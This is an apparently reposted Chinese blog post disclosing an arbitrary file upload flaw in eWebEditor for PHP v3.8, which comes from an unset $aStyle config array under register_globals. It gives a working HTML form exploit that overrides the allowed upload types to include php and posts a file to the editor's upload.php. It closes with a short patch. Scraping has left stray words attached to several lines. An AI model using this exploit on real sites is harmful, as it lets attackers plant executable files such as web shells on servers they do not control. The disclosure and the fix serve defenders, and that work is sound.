ewebeditor for php任意文件上傳漏洞

此漏洞僅測試了最新版v3.8,不知道低版本是否存在此漏洞。PHP版本的ewebeditor並無使用數據庫來保存配置信息,全部信息位於php/config.php中,代碼以下:php

<?phpweb

$sUsername = "admin";
$sPassword = "admin";數據庫

$aStyle[1] = "gray|||gray|||office|||../uploadfile/|||550|||350|||rar|zip|exe|doc|xls|chm|hlp|||swf|||gif|jpg|jpeg|bmp|||rm|mp3|wav|mid|midi|ra|avi|mpg|mpeg|asf|asx|wma|mov|||gif|jpg|jpeg|bmp|||500|||100|||100|||100|||100|||1|||1|||EDIT|||1|||0|||0|||||||||1|||0|||Office標準風格,部分經常使用按鈕,標準適合界面寬度|||1|||zh-cn|||0|||500|||300|||0|||版權全部...|||FF0000|||12|||宋體||||||0|||jpg|jpeg|||300|||FFFFFF|||1|||1";數組

........ide

它將全部的風格配置信息保存爲一個數組$aStyle,在register_global爲on的狀況下咱們能夠任意添加本身喜歡的風格,而後就能夠在本身添加的風格中能夠隨意定義可上傳文件類型。post

這漏洞成因很簡單,下面給個exp測試

<form action="" method=post enctype="multipart/form-data">
<INPUT TYPE="hidden" name="MAX_FILE_SIZE" value="512000">
URL:<input type=text name=url value="http://192.168.1.110/eWebEditor/" size=100><br>
<INPUT TYPE="hidden" name="aStyle[12]" value="toby57|||gray|||red|||../uploadfile/|||550|||350|||php|||swf|||gif|jpg|jpeg|bmp|||rm|mp3|wav|mid|midi|ra|avi|mpg|mpeg|asf|asx|wma|mov|||gif|jpg|jpeg|bmp|||500|||100|||100|||100|||100|||1|||1|||EDIT|||1|||0|||0|||||||||1|||0|||Office|||1|||zh-cn|||0|||500|||300|||0|||...|||FF0000|||12|||宋體||||||0|||jpg|jpeg|||300|||FFFFFF|||1">
file:<input type=file name="uploadfile"><br>
<input type=button value=submit
</form><br>
<script>
function fsubmit(){
form = document.forms[0];
form.action = form.url.value+'php/upload.php?action=save&type=FILE&style=toby57&language=en';
alert(form.action);
form.submit();
}
</script>url

漏洞修補方法:orm

初始化數組$aStyleip

<?php

$sUsername = "admin";
$sPassword = "admin";

$aStyle = array();

$aStyle[1] = "gray|||gray|||office|||../uploadfile/|||550|||350|||rar|zip|exe|doc|xls|chm|hlp|||swf|||gif|jpg|jpeg|bmp|||rm|mp3|wav|mid|midi|ra|avi|mpg|mpeg|asf|asx|wma|mov|||gif|jpg|jpeg|bmp|||500|||100|||100|||100|||100|||1|||1|||EDIT|||1|||0|||0|||||||||1|||0|||Office標準風格,部分經常使用按鈕,標準適合界面寬度|||1|||zh-cn|||0|||500|||300|||0|||版權全部...|||FF0000|||12|||宋體||||||0|||jpg|jpeg|||300|||FFFFFF|||1|||1";

文章如轉載,請註明轉載自【網管小王的獨立博客】:http://www.5iadmin.com/

相關文章
相關標籤/搜索